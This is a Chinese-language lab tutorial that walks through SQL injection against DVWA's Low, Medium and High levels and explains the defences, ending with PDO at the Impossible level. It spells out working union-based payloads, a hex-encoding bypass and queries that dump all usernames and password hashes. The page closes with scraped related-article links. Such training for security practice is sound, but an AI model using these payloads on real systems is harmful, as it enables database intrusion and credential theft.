DVWA全级别之SQL Injection注入

 

DVWA简介

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块,分别是

Brute Force(暴力(破解))

Command Injection(命令行注入)

CSRF(跨站请求伪造)

File Inclusion(文件包含)

File Upload(文件上传)

Insecure CAPTCHA (不安全的验证码)

SQL Injection(SQL注入)

SQL Injection(Blind)(SQL盲注)

XSS(Reflected)(反射型跨站脚本)

XSS(Stored)(存储型跨站脚本)

今天我们来学习SQL Injection(SQL注入)

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

手工注入非盲注步骤分析

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

Low

首先打开dvwa,将等级改为low;

查看服务器端核心代码

 

可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤,存在明显的SQL注入。

判断是否存在注入,注入是字符型还是数字型

输入1 查询成功;

输入1’ and  ‘1’=’2  查询失败,返回结果为空;

猜解SQL查询语句中的字段数,输入:1' or 1=1 order by #  查询成功;

1' or 1=1 order by 2#  查询成功;

1' or 1=1 order by 3#  查询失败;

说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。(这里也可以通过输入union select 1,2,3…来猜解字段数)

确定显示的字段顺序输入1′ union select 1,2 #,查询成功

说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…

获取当前数据库,输入 1' union select 1,database() #  查询成功,当前数据库为dvwa;

获取数据库中的表,输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

获取表中的字段名,输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' #

查询users表中所有用户的数据,输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

Medium

中级加入了一些防御,不让用户输入,只提供选择(可用burpsuit抓包来绕过)

查看服务器端核心代码;

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

通过burpsuit抓包,修改数据包,绕过防御。判断注入点,以及注入的类型;

输入 1 and 1=1# 查询,存在数字型注入;

猜解SQL查询语句中的字段数, 抓包更改参数id为 1 order by 2#  查询成功;

抓包更改参数id为 1 order by 3#   查询失败,说明查询语句中只有两个字段;

确定显示的字段顺序,抓包更改参数id为1 union select 1,2 # 查询成功;

获取当前数据库,抓包更改参数id为1 union select 1,database() #,查询成功;

获取数据库中的表,1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #查询成功;

获取表中的字段名,1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#  查询失败;

这是因为单引号被转义了,变成了\’。

可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查询成功:

下载数据,抓包修改参数id为1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功;

High

查看服务器端核心代码,

可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果,虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样,直接进行最后一步下载数据。

输入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功;

High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

Impossible

查看服务器端核心代码,

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

DVWA全级别之SQL Injection(SQL注入)的更多相关文章

  1. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  2. DVWA全级别之Brute Force(暴力破解)

    Brute Force Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令. 首先我们登录DVWA(admin,password),之后我们看网络是否为无代理,: ...

  3. DVWA全级别之CSRF(跨站请求伪造)

    CSRF(Cross-site request forgery)  CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息( ...

  4. DVWA全级别之XSS(Reflected)、XSS(Stored)【跨站脚本攻击】

    XSS XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强 ...

  5. DVWA全级别之File Inclusion(文件包含)

    File Inclusion File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),req ...

  6. DVWA全级别之Insecure CAPTCHA(不安全的验证码)

    Insecure CAPTCHA Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell ...

  7. DVWA全级别之File Upload(文件上传)

    File Upload File Upload,即文件上传漏洞,通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带 ...

  8. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  9. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

随机推荐

  1. ReportViewer Win32Exception (0x80004005): 创建窗口句柄时出错

    System.ComponentModel.Win32Exception (0x80004005): 创建窗口句柄时出错. 在 System.Windows.Forms.NativeWindow.Cr ...

  2. eclipse中部署项目到tomcat启动,一直是starting状态

    这个问题主要是在eclipse中设置了proxy代理导致的,将Network Connections中的Active Provider更改即可! 打赏

  3. PTA-1003 我要通过!

    1003 我要通过!https://pintia.cn/problem-sets/994805260223102976/problems/994805323154440192 “答案正确”是自动判题系 ...

  4. Map.getOrDefault被坑小记与optional

    错误使用样例 map.getOrDefault("account","").toString(); 在运行几小时后,发现报错空指针:查看源码如下: defaul ...

  5. Ehcache缓存框架与 Shiro 框架 出现出现验证错误 && Tomcat 缓存清除的问题

    当一个项目使用久了以后就会出现各种问题,下面是我遇到的一个权限验证错误的问题 我的项目是   Ehcache 结合 Shiro  一起使用的,项目用用久了出现   Token验证错误,Cookie之类 ...

  6. Codeforces Round #602 (Div. 2, based on Technocup 2020 Elimination Round 3) A Math Problem

    //只要从所有区间右端点的最小值覆盖到所有区间左端点的最大值即可 #include<iostream> using namespace std ; int x,y; int n; int ...

  7. windows重建ESP分区修复引导

    开始 装在虚拟机里面的win7实在是太卡了,所以准备把虚拟磁盘文件复制到固态硬盘,,,但是,,, 我只有128GB固态... 那就只能卸载之前通宵装的linux 好气 首先需要装进入PE UEFI + ...

  8. 读书笔记 (.NET企业级应用架构设计)

    建议你自己和别人多沟通(学会沟通会使你在公司更好的发展,有意见就提,有问题就问,有困难就说)加油lxp 1.架构师是用来干嘛的: 架构师分析需求,分析系统要去做什么,架构怎么去做 2.架构师的职责是: ...

  9. 【Python】浮点数用科学计数法表示

  10. [CCPC2019秦皇岛] F. Forest Program

    [CCPC2019秦皇岛 F] Link https://codeforces.com/gym/102361/problem/F Description 给定一个仙人掌,删去一些边可以让它变成一个森林 ...